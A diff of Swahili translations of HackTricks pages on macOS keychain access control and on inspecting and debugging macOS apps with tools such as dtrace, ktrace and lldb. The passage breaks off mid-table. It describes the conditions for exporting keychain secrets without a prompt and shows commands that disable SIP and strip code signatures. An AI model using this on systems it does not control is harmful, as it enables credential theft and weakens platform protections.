* **`kSecClass`**: Ni aina gani ya kipengee cha keychain
|
||||
|
||||
Pata **ACLs** za kila kiingilio:
|
||||
Pata **ACLs** za kila kipengee:
|
||||
|
||||
* Kwa API **`SecAccessCopyACLList`** unaweza kupata **ACL kwa kipengee cha keychain**, na itarudisha orodha ya ACLs (kama `ACLAuhtorizationExportClear` na wengine waliotajwa hapo awali) ambapo kila orodha ina:
|
||||
* Kwa kutumia API **`SecAccessCopyACLList`** unaweza kupata **ACL kwa kipengee cha keychain**, na itarudisha orodha ya ACLs (kama `ACLAuhtorizationExportClear` na nyingine zilizotajwa hapo awali) ambapo kila orodha ina:
|
||||
* Maelezo
|
||||
* **Orodha ya Maombi ya Kuaminika**. Hii inaweza kuwa:
|
||||
* Programu: /Applications/Slack.app
|
||||
* Binary: /usr/libexec/airportd
|
||||
* Kundi: group://AirPort
|
||||
|
||||
Sambaza data:
|
||||
Export data:
|
||||
|
||||
* API **`SecKeychainItemCopyContent`** inapata maandiko
|
||||
* API **`SecItemExport`** inasambaza funguo na vyeti lakini inaweza kuhitaji kuweka nywila ili kusambaza yaliyomo kwa usimbuaji
|
||||
* API **`SecItemExport`** inasafirisha funguo na vyeti lakini inaweza kuhitaji kuweka nywila ili kusafirisha yaliyomo kwa usimbuaji
|
||||
|
||||
Na haya ndiyo **mahitaji** ya kuwa na uwezo wa **kusambaza siri bila ujumbe**:
|
||||
Na haya ndiyo **mahitaji** ya kuwa na uwezo wa **kusafirisha siri bila ujumbe**:
|
||||
|
||||
* Ikiwa **1+ maombi ya kuaminika** yameorodheshwa:
|
||||
* Inahitaji **idhini** sahihi (**`Nil`**, au kuwa **sehemu** ya orodha inayoruhusiwa ya maombi katika idhini ya kufikia info ya siri)
|
||||
* Inahitaji **idhini** sahihi (**`Nil`**, au kuwa **sehemu** ya orodha inayoruhusiwa ya maombi katika idhini ya kufikia habari ya siri)
|
||||
* Inahitaji saini ya msimbo kuendana na **PartitionID**
|
||||
* Inahitaji saini ya msimbo kuendana na ile ya **programu moja ya kuaminika** (au kuwa mwanachama wa kundi sahihi la KeychainAccessGroup)
|
||||
* Ikiwa **maombi yote ni ya kuaminika**:
|
||||
|
|
@ -145,25 +132,14 @@ Ikiwa **apple** inaonyeshwa katika **partitionID**, unaweza kuipata kwa kutumia
|
|||
|
||||
### Sifa mbili za ziada
|
||||
|
||||
* **Invisible**: Ni bendera ya boolean ili **kuficha** kiingilio kutoka kwa programu ya **UI** Keychain
|
||||
* **Invisible**: Ni bendera ya boolean ili **kuficha** kipengee kutoka kwa programu ya **UI** Keychain
|
||||
* **General**: Ni kuhifadhi **metadata** (hivyo HAIJASIMBULIWA)
|
||||
* Microsoft ilikuwa ikihifadhi katika maandiko yote ya refresh tokens ili kufikia mwisho wa nyeti.
|
||||
* Microsoft ilikuwa ikihifadhi katika maandiko yote ya wazi tokens za refresher ili kufikia mwisho wa nyeti.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** inayotoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **wameathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -175,7 +151,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.pn
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Apps - Kukagua, kufanyia kazi na Fuzzing
|
||||
# macOS Apps - Inspecting, debugging and Fuzzing
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -15,21 +15,8 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **kimeathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Uchambuzi wa Kijamii
|
||||
## Static Analysis
|
||||
|
||||
### otool & objdump & nm
|
||||
```bash
|
||||
|
|
@ -114,12 +101,12 @@ ldid -S/tmp/entl.xml <binary>
|
|||
```
|
||||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ni chombo kinachofaa kukagua **.pkg** faili (wawekaji) na kuona kilichomo ndani kabla ya kuisakinisha.\
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ni chombo kinachofaa kuchunguza **.pkg** faili (wawekaji) na kuona kilichomo ndani kabla ya kuisakinisha.\
|
||||
Wawekaji hawa wana `preinstall` na `postinstall` bash scripts ambazo waandishi wa malware mara nyingi hutumia vibaya ili **kuendelea** **na** **malware**.
|
||||
|
||||
### hdiutil
|
||||
|
||||
Chombo hiki kinaruhusu **kuunganisha** picha za diski za Apple (**.dmg**) ili kuzikagua kabla ya kuendesha chochote:
|
||||
Chombo hiki kinaruhusu **kuunganisha** picha za diski za Apple (**.dmg**) ili kuzichunguza kabla ya kuendesha chochote:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
|
@ -148,13 +135,13 @@ Kumbuka kwamba majina haya yanaweza kufichwa ili kufanya kurudi nyuma kwa binary
|
|||
|
||||
### Function calling
|
||||
|
||||
Wakati kazi inapoitwa katika binary inayotumia objective-C, msimbo uliokanzwa badala ya kuita kazi hiyo, utaita **`objc_msgSend`**. Ambayo itakuwa ikitafuta kazi ya mwisho:
|
||||
Wakati mbinu inapoitwa katika binary inayotumia objective-C, msimbo uliokanzwa badala ya kuita mbinu hiyo, utaita **`objc_msgSend`**. Ambayo itakuwa ikitafuta mbinu ya mwisho:
|
||||
|
||||
.png>)
|
||||
|
||||
Paramu ambazo kazi hii inatarajia ni:
|
||||
Paramu ambazo mbinu hii inatarajia ni:
|
||||
|
||||
* Paramu ya kwanza (**self**) ni "kiashiria kinachoelekeza kwa **mfano wa darasa ambalo litapokea ujumbe**". Au kwa kusema kwa urahisi, ni kitu ambacho mbinu inaitwa juu yake. Ikiwa mbinu ni mbinu ya darasa, hii itakuwa mfano wa kitu cha darasa (kama jumla), wakati kwa mbinu ya mfano, self itakuwa ikielekeza kwa mfano ulioanzishwa wa darasa kama kitu.
|
||||
* Paramu ya kwanza (**self**) ni "kiashiria kinachopointia **mfano wa darasa ambalo linapaswa kupokea ujumbe**". Au kwa kusema kwa urahisi, ni kitu ambacho mbinu inaitwa juu yake. Ikiwa mbinu ni mbinu ya darasa, hii itakuwa mfano wa kitu cha darasa (kama jumla), wakati kwa mbinu ya mfano, self itapointia mfano ulioanzishwa wa darasa kama kitu.
|
||||
* Paramu ya pili, (**op**), ni "mchaguzi wa mbinu inayoshughulikia ujumbe". Tena, kwa kusema kwa urahisi, hii ni tu **jina la mbinu.**
|
||||
* Paramu zilizobaki ni **thamani zozote zinazohitajika na mbinu** (op).
|
||||
|
||||
|
|
@ -200,7 +187,7 @@ Ni ya zamani na haina matengenezo hivyo huenda isifanye kazi vizuri.
|
|||
|
||||
#### ICDump
|
||||
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) ni chombo cha kisasa na chenye uwezo wa kufanya kazi kwenye majukwaa mbalimbali cha Objective-C. Ikilinganishwa na zana zilizopo, iCDump inaweza kufanya kazi bila kutegemea mfumo wa Apple na inatoa viunganishi vya Python.
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) ni chombo cha kisasa na chenye uwezo wa kufanya kazi kwenye majukwaa tofauti cha Objective-C. Ikilinganishwa na zana zilizopo, iCDump inaweza kufanya kazi bila kutegemea mfumo wa Apple na inatoa viunganishi vya Python.
|
||||
```python
|
||||
import icdump
|
||||
metadata = icdump.objc.parse("/path/to/bin")
|
||||
|
|
@ -225,7 +212,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
|||
```
|
||||
Unaweza kupata taarifa zaidi kuhusu [**taarifa zilizohifadhiwa katika sehemu hizi katika chapisho hili la blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
|
||||
|
||||
Zaidi ya hayo, **binaries za Swift zinaweza kuwa na alama** (kwa mfano maktaba zinahitaji kuhifadhi alama ili kazi zake ziweze kuitwa). **Alama hizo kwa kawaida zina taarifa kuhusu jina la kazi** na attr kwa njia isiyo ya kuvutia, hivyo ni muhimu sana na kuna "**demanglers"** ambazo zinaweza kupata jina la asili:
|
||||
Zaidi ya hayo, **binaries za Swift zinaweza kuwa na alama** (kwa mfano maktaba zinahitaji kuhifadhi alama ili kazi zake ziweze kuitwa). **Alama hizo kwa kawaida zina taarifa kuhusu jina la kazi** na attr kwa njia isiyo nzuri, hivyo ni muhimu sana na kuna "**demanglers"** ambazo zinaweza kupata jina la asili:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
|
|
@ -233,10 +220,10 @@ https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
|||
# Swift cli
|
||||
swift demangle
|
||||
```
|
||||
## Uchambuzi wa Kineti
|
||||
## Uchambuzi wa Kinetiki
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kumbuka kwamba ili kufanyia debug binaries, **SIP inahitaji kuzuiliwa** (`csrutil disable` au `csrutil enable --without debug`) au nakala ya binaries kuhamishwa kwenye folda ya muda na **kuondoa saini** kwa `codesign --remove-signature <binary-path>` au kuruhusu ufanyaji debug wa binary (unaweza kutumia [hiki skripti](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
Kumbuka kwamba ili kufanyia debug binaries, **SIP inahitaji kuzuiliwa** (`csrutil disable` au `csrutil enable --without debug`) au nakala ya binaries kwenye folda ya muda na **kuondoa saini** kwa `codesign --remove-signature <binary-path>` au kuruhusu ufanyaji debug wa binary (unaweza kutumia [hiki skripti](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
|
@ -247,8 +234,8 @@ Kumbuka kwamba ili **kuweka vifaa vya mfumo**, (kama `cloudconfigurationd`) kwen
|
|||
|
||||
macOS inatoa APIs kadhaa za kuvutia ambazo zinatoa habari kuhusu michakato:
|
||||
|
||||
* `proc_info`: Hii ndiyo muhimu zaidi inayoleta habari nyingi kuhusu kila mchakato. Unahitaji kuwa root ili kupata habari za michakato mingine lakini huwezi kuhitaji haki maalum au mach ports.
|
||||
* `libsysmon.dylib`: Inaruhusu kupata habari kuhusu michakato kupitia kazi zilizofichwa za XPC, hata hivyo, inahitajika kuwa na haki `com.apple.sysmond.client`.
|
||||
* `proc_info`: Hii ndiyo kuu inayoleta habari nyingi kuhusu kila mchakato. Unahitaji kuwa root ili kupata habari za michakato mingine lakini huhitaji ruhusa maalum au mach ports.
|
||||
* `libsysmon.dylib`: Inaruhusu kupata habari kuhusu michakato kupitia kazi zilizofichwa za XPC, hata hivyo, inahitajika kuwa na ruhusa `com.apple.sysmond.client`.
|
||||
|
||||
### Stackshot & microstackshots
|
||||
|
||||
|
|
@ -258,7 +245,7 @@ macOS inatoa APIs kadhaa za kuvutia ambazo zinatoa habari kuhusu michakato:
|
|||
|
||||
Zana hii (`/usr/bini/ysdiagnose`) kimsingi inakusanya habari nyingi kutoka kwa kompyuta yako ikitekeleza amri tofauti kumi kama `ps`, `zprint`...
|
||||
|
||||
Inapaswa kuendeshwa kama **root** na daemon `/usr/libexec/sysdiagnosed` ina haki za kuvutia kama `com.apple.system-task-ports` na `get-task-allow`.
|
||||
Inapaswa kuendeshwa kama **root** na daemon `/usr/libexec/sysdiagnosed` ina ruhusa za kuvutia kama `com.apple.system-task-ports` na `get-task-allow`.
|
||||
|
||||
Plist yake iko katika `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` ambayo inatangaza MachServices 3:
|
||||
|
||||
|
|
@ -266,11 +253,11 @@ Plist yake iko katika `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist
|
|||
* `com.apple.sysdiagnose.kernel.ipc`: Bandari maalum 23 (kernel)
|
||||
* `com.apple.sysdiagnose.service.xpc`: Kiolesura cha hali ya mtumiaji kupitia `Libsysdiagnose` darasa la Obj-C. Hoja tatu katika dict zinaweza kupitishwa (`compress`, `display`, `run`)
|
||||
|
||||
### Logi Zilizounganishwa
|
||||
### Magogo Yaliyounganishwa
|
||||
|
||||
MacOS inazalisha logi nyingi ambazo zinaweza kuwa muhimu sana unapofanya programu ukijaribu kuelewa **inachofanya**.
|
||||
MacOS inazalisha magogo mengi ambayo yanaweza kuwa ya manufaa wakati wa kuendesha programu ikijaribu kuelewa **kila inafanya**.
|
||||
|
||||
Zaidi ya hayo, kuna logi ambazo zitakuwa na lebo `<private>` ili **kuficha** baadhi ya **mtumiaji** au **kompyuta** **habari zinazoweza kutambulika**. Hata hivyo, inawezekana **kufunga cheti kufichua habari hii**. Fuata maelezo kutoka [**hapa**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
Zaidi ya hayo, kuna baadhi ya magogo ambayo yatakuwa na lebo `<private>` ili **kuficha** baadhi ya habari **za mtumiaji** au **kompyuta** **zinazoweza kutambulika**. Hata hivyo, inawezekana **kufunga cheti kufichua habari hii**. Fuata maelezo kutoka [**hapa**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
### Hopper
|
||||
|
||||
|
|
@ -284,7 +271,7 @@ Katika paneli ya kati unaweza kuona **kanuni iliyovunjwa**. Na unaweza kuona kam
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kubonyeza kulia kwenye kitu cha kanuni unaweza kuona **marejeleo kwa/kutoka kwa kitu hicho** au hata kubadilisha jina lake (hii haifanyi kazi katika pseudocode iliyotafsiriwa):
|
||||
Kubofya kulia kwenye kitu cha kanuni unaweza kuona **marejeleo kwa/kutoka kwa kitu hicho** au hata kubadilisha jina lake (hii haifanyi kazi katika pseudocode iliyotafsiriwa):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -292,18 +279,18 @@ Zaidi ya hayo, katika **chini ya kati unaweza kuandika amri za python**.
|
|||
|
||||
#### Paneli ya Kulia
|
||||
|
||||
Katika paneli ya kulia unaweza kuona habari za kuvutia kama **historia ya urambazaji** (ili ujue jinsi ulivyofika katika hali ya sasa), **grafu ya wito** ambapo unaweza kuona **kazi zote zinazopiga simu kazi hii** na kazi zote ambazo **kazi hii inaita**, na habari za **mabadiliko ya ndani**.
|
||||
Katika paneli ya kulia unaweza kuona habari za kuvutia kama **historia ya urambazaji** (ili ujue jinsi ulivyofika katika hali ya sasa), **grafu ya wito** ambapo unaweza kuona **kazi zote zinazoiita kazi hii** na kazi zote ambazo **kazi hii inaita**, na habari za **mabadiliko ya ndani**.
|
||||
|
||||
### dtrace
|
||||
|
||||
Inaruhusu watumiaji kufikia programu kwa kiwango cha **chini sana** na inatoa njia kwa watumiaji **kufuatilia** **programu** na hata kubadilisha mtiririko wa utekelezaji wao. Dtrace inatumia **probes** ambazo **zimewekwa katika kernel** na ziko katika maeneo kama mwanzo na mwisho wa wito wa mfumo.
|
||||
|
||||
DTrace inatumia kazi **`dtrace_probe_create`** kuunda probe kwa kila wito wa mfumo. Probes hizi zinaweza kuanzishwa katika **kuingia na kutoka kwa kila wito wa mfumo**. Maingiliano na DTrace yanatokea kupitia /dev/dtrace ambayo inapatikana tu kwa mtumiaji wa root.
|
||||
DTrace inatumia kazi **`dtrace_probe_create`** kuunda probe kwa kila wito wa mfumo. Probes hizi zinaweza kuanzishwa katika **kiingilio na kutoka kwa kila wito wa mfumo**. Maingiliano na DTrace yanatokea kupitia /dev/dtrace ambayo inapatikana tu kwa mtumiaji wa root.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ili kuwezesha Dtrace bila kuzima kabisa ulinzi wa SIP unaweza kutekeleza katika hali ya urejelezi: `csrutil enable --without dtrace`
|
||||
Ili kuwezesha Dtrace bila kuzima kabisa ulinzi wa SIP unaweza kutekeleza katika hali ya urejeleaji: `csrutil enable --without dtrace`
|
||||
|
||||
Unaweza pia **`dtrace`** au **`dtruss`** binaries ambazo **umejenga**.
|
||||
Unaweza pia **`dtrace`** au **`dtruss`** binaries ambazo **umeziunda**.
|
||||
{% endhint %}
|
||||
|
||||
Probes zinazopatikana za dtrace zinaweza kupatikana kwa:
|
||||
|
|
@ -398,7 +385,7 @@ Ili kupata habari hii, inawezekana kutumia zana ya Apple **`trace`** au zana maa
|
|||
|
||||
### ktrace
|
||||
|
||||
APIs za `ktrace_*` zinatoka `libktrace.dylib` ambazo zinafungwa zile za `Kdebug`. Kisha, mteja anaweza tu kuita `ktrace_session_create` na `ktrace_events_[single/class]` kuweka callbacks kwenye codes maalum na kisha kuanza nayo kwa `ktrace_start`.
|
||||
APIs za `ktrace_*` zinatoka `libktrace.dylib` ambazo zinafungua zile za `Kdebug`. Kisha, mteja anaweza tu kuita `ktrace_session_create` na `ktrace_events_[single/class]` kuweka callbacks kwenye codes maalum na kisha kuanza nayo kwa `ktrace_start`.
|
||||
|
||||
Unaweza kuitumia hata na **SIP imewashwa**
|
||||
|
||||
|
|
@ -416,7 +403,7 @@ Kimsingi, variable ya kimataifa `kernel_debug_active` inakaguliwa na inapowekwa
|
|||
|
||||
Kperf ina meza ya sysctl MIB pia: (kama root) `sysctl kperf`. Mifumo hii inaweza kupatikana katika `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
Zaidi ya hayo, subset ya kazi za Kperf inapatikana katika `kpc`, ambayo inatoa habari kuhusu mashine ya hesabu za utendaji.
|
||||
Zaidi ya hayo, subset ya kazi za Kperf inapatikana katika `kpc`, ambayo inatoa habari kuhusu mashine ya kuhesabu utendaji.
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
|
|
@ -452,16 +439,16 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
```
|
||||
### TaskExplorer
|
||||
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) ni muhimu kuona **maktaba** zinazotumiwa na binary, **faili** inazotumia na **mifumo** ya mtandao.\
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) ni muhimu kuona **maktaba** zinazotumiwa na binary, **faili** inazotumia na **muunganisho** wa **mtandao**.\
|
||||
Pia inakagua michakato ya binary dhidi ya **virustotal** na kuonyesha taarifa kuhusu binary.
|
||||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
Katika [**hiki blogu**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) unaweza kupata mfano wa jinsi ya **kudebug** **daemon** inayotembea ambayo ilitumia **`PT_DENY_ATTACH`** kuzuia debugging hata kama SIP ilikuwa imezimwa.
|
||||
Katika [**hiki chapisho la blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) unaweza kupata mfano kuhusu jinsi ya **kudebug daemon inayotembea** ambayo ilitumia **`PT_DENY_ATTACH`** kuzuia debugging hata kama SIP ilikuwa imezimwa.
|
||||
|
||||
### lldb
|
||||
|
||||
**lldb** ni chombo cha **facto** kwa ajili ya **macOS** binary **debugging**.
|
||||
**lldb** ni chombo cha **de facto** kwa **macOS** binary **debugging**.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
|
|
@ -476,7 +463,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
Ndani ya lldb, dump mchakato kwa `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Amri</strong></td><td><strong>Maelezo</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Kuanza utekelezaji, ambayo itaendelea bila kukatizwa hadi breakpoint ipatikane au mchakato uishe.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Kuanza utekelezaji ukisimama kwenye kiingilio</td></tr><tr><td><strong>continue (c)</strong></td><td>Endelea na utekelezaji wa mchakato unaosimamiwa.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Tekeleza amri inayofuata. Amri hii itakataa kupita kwenye simu za kazi.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Tekeleza amri inayofuata. Tofauti na amri ya nexti, amri hii itachambua simu za kazi.</td></tr><tr><td><strong>finish (f)</strong></td><td>Tekeleza maagizo mengine katika kazi ya sasa (“frame”) rudisha na simamisha.</td></tr><tr><td><strong>control + c</strong></td><td>Simamisha utekelezaji. Ikiwa mchakato umekuwa ukikimbia (r) au umeendelea (c), hii itasababisha mchakato kusimama ... popote ulipo sasa hivi.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Kila kazi inayoitwa main</p><p><code>b <binname>`main</code> #Kazi kuu ya bin</p><p><code>b set -n main --shlib <lib_name></code> #Kazi kuu ya bin iliyoonyeshwa</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Kila njia ya NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Vunjia kazi zote za maktaba hiyo</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Orodha ya breakpoint</p><p><code>br e/dis <num></code> #Washa/Zima breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Pata msaada wa amri ya breakpoint</p><p>help memory write #Pata msaada wa kuandika kwenye kumbukumbu</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Onyesha kumbukumbu kama mfuatano wa herufi unaomalizika na null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Onyesha kumbukumbu kama amri ya mkusanyiko.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Onyesha kumbukumbu kama byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Hii itachapisha kitu kinachorejelewa na param</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Kumbuka kwamba nyingi ya APIs au mbinu za Apple za Objective-C hurudisha vitu, na hivyo zinapaswa kuonyeshwa kupitia amri ya “print object” (po). Ikiwa po haitoi matokeo yenye maana tumia <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Andika AAAA katika anwani hiyo<br>memory write -f s $rip+0x11f+7 "AAAA" #Andika AAAA katika anwani</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disas kazi ya sasa</p><p>dis -n <funcname> #Disas kazi</p><p>dis -n <funcname> -b <basename> #Disas kazi<br>dis -c 6 #Disas mistari 6<br>dis -c 0x100003764 -e 0x100003768 # Kutoka moja kuongeza hadi nyingine<br>dis -p -c 4 # Anza katika anwani ya sasa ukichambua</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Angalia array ya vipengele 3 katika x1 reg</td></tr><tr><td><strong>image dump sections</strong></td><td>Chapisha ramani ya kumbukumbu ya mchakato wa sasa</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Pata anwani ya alama zote kutoka CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Amri</strong></td><td><strong>Maelezo</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Kuanza utekelezaji, ambayo itaendelea bila kukatizwa hadi breakpoint ipatikane au mchakato uishe.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Kuanza utekelezaji ukisimama kwenye kiingilio</td></tr><tr><td><strong>continue (c)</strong></td><td>Endelea na utekelezaji wa mchakato unaosimamiwa.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Tekeleza amri inayofuata. Amri hii itakataa kupita kwenye simu za kazi.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Teekeleza amri inayofuata. Tofauti na amri ya nexti, amri hii itachambua simu za kazi.</td></tr><tr><td><strong>finish (f)</strong></td><td>Teekeleza maagizo mengine katika kazi ya sasa (“frame”) rudisha na simamisha.</td></tr><tr><td><strong>control + c</strong></td><td>Simamisha utekelezaji. Ikiwa mchakato umekuwa ukikimbia (r) au umeendelea (c), hii itasababisha mchakato kusimama ... popote ambapo unatekelezwa kwa sasa.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Kila func inayoitwa main</p><p><code>b <binname>`main</code> #Main func ya bin</p><p><code>b set -n main --shlib <lib_name></code> #Main func ya bin iliyoonyeshwa</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Kila njia ya NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Break katika kazi zote za maktaba hiyo</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Orodha ya breakpoint</p><p><code>br e/dis <num></code> #wezesha/katisha breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Pata msaada wa amri ya breakpoint</p><p>help memory write #Pata msaada wa kuandika kwenye kumbukumbu</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Onyesha kumbukumbu kama mfuatano wa herufi unaomalizika na null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Onyesha kumbukumbu kama amri ya mkusanyiko.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Onyesha kumbukumbu kama byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Hii itachapisha kitu kinachorejelewa na param</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Kumbuka kwamba nyingi ya APIs au mbinu za Apple za Objective-C hurudisha vitu, na hivyo zinapaswa kuonyeshwa kupitia amri ya “print object” (po). Ikiwa po haitoi matokeo yenye maana tumia <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Andika AAAA katika anwani hiyo<br>memory write -f s $rip+0x11f+7 "AAAA" #Andika 